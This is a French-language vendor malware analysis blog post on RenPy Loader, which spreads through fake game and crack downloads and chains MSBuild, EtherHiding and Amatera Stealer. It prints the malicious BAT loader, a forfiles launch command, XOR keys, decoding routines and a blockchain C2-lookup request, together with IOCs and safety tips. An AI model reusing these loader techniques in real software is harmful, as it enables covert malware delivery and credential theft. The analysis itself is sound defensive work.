Des jeux contrefaits diffusent des logiciels de vol via RenPy Loader, MSBuild et EtherHiding

| 20 juillet 2026
Logo Ren'Py

Nous avons détecté plusieurs campagnes utilisant de faux téléchargements de jeux, de mods, de cracks et de logiciels pour diffuser RenPy Loader. Une fois installé, ce chargeur déclenche une chaîne d’infection complexe en plusieurs étapes qui exploite MSBuild et la technique EtherHiding avant de déployer finalement Amatera Stealer.

Amatera est un « infostealer », c'est-à-dire un type de logiciel malveillant conçu pour voler des informations sensibles sur un appareil infecté. Il peut cibler les mots de passe et autres données stockées dans les navigateurs, les portefeuilles de cryptomonnaies, les extensions de navigateur, les applications de messagerie et les fichiers locaux. Les identifiants et les données de session volés peuvent également permettre aux pirates d'accéder aux comptes en ligne de la victime.

La victime peut avoir l'impression d'utiliser un jeu ou un programme d'installation de logiciel tout à fait normal, alors que le logiciel malveillant s'exécute discrètement en arrière-plan.

RenPy Loader, également connu sous le nom de RenEngine Loader, présente un intérêt particulier car il exploite Ren’Py, un moteur légitime utilisé pour créer des romans visuels, des jeux axés sur l’histoire et des fictions interactives. En dissimulant du code malveillant au sein de logiciels associés au jeu vidéo, les pirates peuvent donner à leurs téléchargements une apparence plus crédible aux yeux des personnes à la recherche de jeux, de mods ou de logiciels piratés.

Nous avons déjà constaté que des pirates exploitaient à des fins malveillantes des outils de développement légitimes et des frameworks logiciels émergents, notamment Bun et Deno, pour diffuser des logiciels malveillants. RenPy Loader suit le même schéma : les pirates détournent des technologies légitimes pour dissimuler leurs activités malveillantes, compliquer la chaîne d'infection et rendre la détection plus difficile.

On a également constaté que RenPy Loader diffusait d'autres logiciels malveillants, notamment HijackLoader et Lumma Stealer, ce qui montre que la charge utile finale peut varier d'une campagne à l'autre.

Dans cet article, nous analysons une chaîne d'infection dans laquelle Ren’Py décompresse une archive ZIP contenant un fichier BAT et plusieurs fichiers de projet MSBuild. Ces fichiers chargent un composant .NET infecté par un cheval de Troie, qui décode ensuite un autre composant malveillant.

Ce composant malveillant utilise une technique appelée « EtherHiding » pour localiser son serveur de commande et de contrôle (C2). Au lieu de stocker l'adresse C2 directement dans le logiciel malveillant, les attaquants la dissimulent dans des données stockées sur une blockchain publique. Le logiciel malveillant télécharge ensuite les étapes suivantes de l'attaque à partir de ce serveur, ce qui rend l'infrastructure des attaquants plus difficile à identifier et à neutraliser.

Enfin, nous examinons les charges utiles supplémentaires qui permettent, au final, de déchiffrer et d'exécuter Amatera Stealer.

Les faux téléchargements infectent votre appareil

L'infection commence lorsqu'un utilisateur télécharge ce qu'il croit être un jeu, un mod, un crack ou un logiciel. Nous avons identifié des fichiers malveillants diffusés via :

  • Sites web malveillants
  • Portails de téléchargement de jeux
  • Plusieurs services de partage de fichiers, notamment Wormhole, GoFile, Google Drive et MEGA

Voici quelques-unes des pages détectées qui marquent le début de la chaîne d'infection :

Dans plusieurs cas, le fait de cliquer sur un lien de téléchargement redirigeait l'utilisateur vers un autre site de téléchargement frauduleux. Ces pages présentaient des mises en page variées et utilisaient des noms de services inventés, ce qui contribuait à donner l'impression que les campagnes étaient moins répétitives et rendait l'infrastructure malveillante plus difficile à repérer.

Vous trouverez ci-dessous des exemples de fausses pages de téléchargement utilisées pour diffuser l'archive malveillante :

L'utilisateur télécharge une archive contenant un fichier nommé Setup.exe. L'ouverture de ce fichier déclenche la chaîne d'infection.

Exemple d'archive téléchargée depuis un site web malveillant
Exemple d'archive téléchargée depuis un site web malveillant

La victime voit s'afficher un écran de chargement ou d'installation, mais un code malveillant s'exécute en arrière-plan.

L'écran d'installation
L'écran d'installation

Comment rester en sécurité

Quelques précautions permettent de réduire le risque de télécharger des jeux ou des logiciels malveillants :

  • Téléchargez vos jeux et logiciels depuis les sites officiels, les boutiques d'applications fiables ou les plateformes de distribution reconnues.
  • Méfiez-vous des logiciels piratés, des mods non officiels et des versions gratuites de jeux payants.
  • Méfiez-vous lorsqu'un lien de téléchargement vous redirige vers plusieurs sites web ou services de partage de fichiers que vous ne connaissez pas.
  • Vérifiez le contenu des archives téléchargées avant d'ouvrir des fichiers exécutables tels que Setup.exe.
  • Recherchez les noms de fichiers inhabituels, les images ou fichiers texte sans rapport avec votre recherche, ainsi que tout contenu qui ne correspond pas à ce que vous aviez l'intention de télécharger.
  • Utilisez un logiciel anti-malware en temps réel tel que Malwarebytes.
  • Veillez à maintenir à jour votre système d'exploitation, votre navigateur et vos logiciels de sécurité.

Les auteurs de ces campagnes créent sans cesse de nouveaux sites web et modifient régulièrement leurs pages de téléchargement. Le fait qu'un programme d'installation ait un aspect professionnel ou qu'il provienne d'un service de partage de fichiers connu ne garantit pas pour autant que le téléchargement soit sûr.

Analyse technique du chargeur RenPy

Ren’Py est un moteur gratuit et open source permettant de créer des romans visuels, des jeux axés sur l’histoire et des fictions interactives. Ren’Py permet l’intégration de scripts Python, dont les pirates tirent parti pour insérer du code malveillant.

Dans ce cas précis, nous avons détecté du code malveillant dans les fichiers et chemins d'accès suivants :

Chemin d'accès

Description

data/python-packages/sys_config/

Cours « anti-sandbox »

data/libwin32.rpa

Chargeur

data/.GEg

Configuration chiffrée par XOR

data/j3lpTcg7kBRN.E3

Fichier ZIP chiffré par XOR

Le propulseur du premier étage a été extrait de libwin32.rpa effectue les opérations suivantes :

  • Lit le fichier de configuration data/.GEg et le déchiffre à l'aide du décodage Base64 et d'une opération XOR avec la clé 81034149cd6f48c8821340204f92766e. Ce fichier de configuration contient le mot de passe utilisé pour décompresser le fichier ZIP, ainsi que d'autres données de configuration utilisées par le chargeur.
  • Appels sys_config.is_sandboxed() et se ferme si un bac à sable est détecté.
  • Décryptage par XOR data/j3lpTcg7kBRN.E3 à l'aide de la touche A50YyY1 pour télécharger le fichier ZIP.
  • Extrait le contenu du fichier ZIP dans un dossier choisi au hasard situé sous %TEMP%/tmp-{5 digits}-{12 characters} et écrit un :Zone.Identifier flux de données alternatif (ADS) avec ZoneId=0 pour supprimer la « Mark of the Web » et contourner SmartScreen. Il insère également un REM chaîne de caractères dans le fichier BAT extrait.
  • Lance la charge utile à l'aide de forfiles.exe.
  • Envoie MAC de l'appareil et l'identifiant de la campagne à un site web de suivi.
La configuration décodée
La configuration décodée
Les fichiers contenus dans l'archive ZIP déchiffrée
Les fichiers contenus dans l'archive ZIP déchiffrée

Dans ce cas, le fichier BAT extrait a été exécuté à l'aide de la commande suivante :

forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Contenu du fichier BAT :

@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
  endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
  endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
  exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal

Le fichier BAT exécuté effectue les opérations suivantes :

  • Se relance dans une console cachée ou sans interface graphique :
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
  • Active les fonctions de propriété MSBuild, ce qui permet d'utiliser des méthodes supplémentaires telles que AppDomain.CurrentDomain.Load à exécuter :
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
  • Exécute MSBuild.exe avec Nancy.csproj comme fichier de projet. Lors de l'évaluation du projet, une fonction de propriété MSBuild malveillante effectue un décodage hexadécimal et charge de manière réflexive l'étape suivante de la DLL.

La DLL « Nancy » infectée par un cheval de Troie et le bytecode personnalisé

Nancy.csproj importe les trois fichiers extraits Nancy.csproj.user, Internal.props, et Nancy.Compile.targets. La DLL malveillante est répartie entre trois valeurs stockées dans ces fichiers.

Les fichiers importés dans Nancy.csproj
Les fichiers importés à l'intérieur Nancy.csproj

Nancy.Compile.targets enchaîne les trois valeurs pour décoder la DLL en hexadécimal et exécuter le DefaultEvaluator5 méthode utilisant AppDomain.CurrentDomain.Load.CreateInstance.

Exécution de DefaultEvaluator5
Exécution de DefaultEvaluator5

Ce qui est intéressant, c'est que Nancy.csproj Il remplit deux fonctions : c'est le projet MSBuild utilisé pour exécuter le chargeur de première étape, et il contient également l'étape suivante décodée par le chargeur.

La DLL est une version infectée par un cheval de Troie de la bibliothèque Nancy .NET ; il s'agit d'un chargeur .NET obfusqué contenant du code malveillant implémenté dans le DefaultEvaluator5 classe. Certaines fonctionnalités de la DLL sont implémentées dans un bytecode personnalisé exécuté par cette méthode « main ».

Comparaison entre les DLL « Nancy » légitimes et celles infectées par un cheval de Troie
Comparaison entre les DLL « Nancy » légitimes et celles infectées par un cheval de Troie

La DLL effectue les opérations suivantes :

  • Décrypte les chaînes de caractères issues des ressources à l'aide d'un décryptage XOR à clés multiples.
  • Résout les API à l'aide du hachage d'API et GetDelegateForFunctionPointer.
  • Modifie les paramètres réseau, notamment en désactivant la validation des certificats TLS et en configurant le proxy système par défaut.
  • Effectue des opérations visant à contrecarrer les analyses judiciaires.
  • Lit le _czzf variable d'environnement, qui pointe vers la précédente Nancy.csproj fichier, puis le décode et l'exécute.

Le principal DefaultEvaluator5 Cette méthode récupère des chaînes de caractères et interprète le bytecode contenu dans les ressources suivantes :

  • Nancy.Runtime.mvlorimu: Contient le bytecode personnalisé. Le bytecode est interprété par _pv et _sro. Il met en œuvre 23 opcodes servant à déchiffrer d'autres chaînes de caractères et à charger la DLL de l'étape suivante.
  • Nancy.Data.tcnlhxw et Nancy.Resources.kxxodp: Contient les chaînes chiffrées et les autres données utilisées pour le déchiffrement, notamment les clés, les longueurs, les index et la S-box.

Les chaînes de caractères sont déchiffrées à l'aide de l'algorithme suivant :

out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]

La prochaine étape concernant les DLL, GollopDevest, est décodé à partir du même Nancy.csproj fichier utilisant la logique suivante et chargé avec AppDomain.Load:

for i, k in enumerate(marker_int):
    if k < 256:
        payload[i] = k
    else:
        payload[i] = marker_int[k-256]
L'étape suivante codée entre les marqueurs « Pack »
L'étape suivante codée entre le Pack marqueurs

EtherHiding et Amatera Stealer

L'étape suivante consiste à extraire une DLL nommée GollopDevest.dll, un programme de téléchargement .NET qui utilise la technique « EtherHiding » pour se connecter à son serveur de commande et de contrôle (C2) et télécharger la phase suivante.

Le domaine C2 chiffré est obtenu à l'aide d'une interface JSON-RPC d'Ethereum eth_call demande de bsc-dataseed.binance.org:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}

Ce programme de téléchargement EtherHiding fait probablement partie d'une opération de type « malware-as-a-service » (MaaS), car nous avons constaté qu'il était diffusé dans le cadre d'autres campagnes, notamment celles de ClickFix.

Trois charges utiles supplémentaires sont ensuite téléchargées : deux DLL .NET nommées PavinWide (une DLL anti-analyse) et GollopDevest (une DLL de chargement), ainsi qu'une DLL C++ nommée LanoseThrip, qui, au final, déchiffre et charge Amatera Stealer.

Dans ce cas précis, ces charges utiles ont été téléchargées depuis :

  • /assets/ExponeAboard.json
  • /assets/MailersKogasin.json
  • /assets/LanoseThrip.json

Les DLL .NET sont fortement obscurcies à l'aide d'un aplatissement du flux de contrôle et d'appels indirects via calli/ldftn, chiffrement de chaînes chiffrement plusieurs algorithmes, du code inutile, du code mort et de fausses chaînes telles que des chemins d'URL.

L'analyse de ces DLL est toujours en cours et sera abordée plus en détail dans les prochains articles de blog.

Indicateurs de compromis (IOC)

Domaines

  • downpro[.]net – Site de téléchargement frauduleux
  • macisofile[.]sbs – Site de téléchargement frauduleux
  • visitmama[.]blog – Site de téléchargement frauduleux
  • visitmama[.]guru – Site de téléchargement frauduleux
  • getgamerfree[.]com – Site de téléchargement frauduleux
  • fullgames[.]digital – Site de téléchargement frauduleux
  • flingbase[.]net – Site de téléchargement frauduleux
  • citronemu[.]com – Site de téléchargement frauduleux
  • filemodo[.]xyz – Infrastructure de distribution
  • storage06x[.]cfd – Infrastructure de distribution
  • p03sil[.]cyou – Infrastructure de distribution
  • wimsedas[.]xyz – Infrastructure de distribution
  • againstmor[.]store – Infrastructure de distribution
  • host03q[.]cfd – Infrastructure de distribution
  • cloud01y[.]cfd – Infrastructure de distribution
  • storage11x[.]cfd – Infrastructure de distribution
  • storage04x[.]cfd – Infrastructure de distribution
  • host82p[.]cfd – Infrastructure de distribution
  • cloud05y[.]cfd – Infrastructure de distribution
  • analyticstrack-pzh[.]click – Site web de suivi
  • login.orbitalframework[.]cc – Amatera Stealer C2

Adresses IP

  • 144.124.251[.]171 – Permet d'obtenir des charges utiles supplémentaires
  • 195.63.140[.]33 – Permet d'obtenir des charges utiles supplémentaires
  • 78.40.196[.]252 – Permet d'obtenir des charges utiles supplémentaires

Hachages de fichiers (MD5)

  • 29203ca123d51b1b33505a0813d360df – Chargeur de première étape (DLL trojanisée)
  • 810F257542018BE0FC62AF542D13D012 – DLL GollopDevest (DLL de téléchargement)
  • 681DB529E402467A4B0567C82A350FC0 – DLL PavinWride (DLL anti-analyse)
  • 2E116632248A7E1F8AA6BCA92D9C1C90 – DLL GollopDevest (DLL de chargement)
  • F8453EFE408CE25B9484F872797E3D63 – Charge utile finale

Prix « Choix de la rédaction » de CNET 2026

D'après CNET.Lire leur critique


À propos de l'auteur

Gabriele est ingénieur en recherche sur les logiciels malveillants et adore lutter contre ces derniers. Lorsqu'il ne s'occupe pas de cela, il aime profiter de la nature, de l'art et des animaux.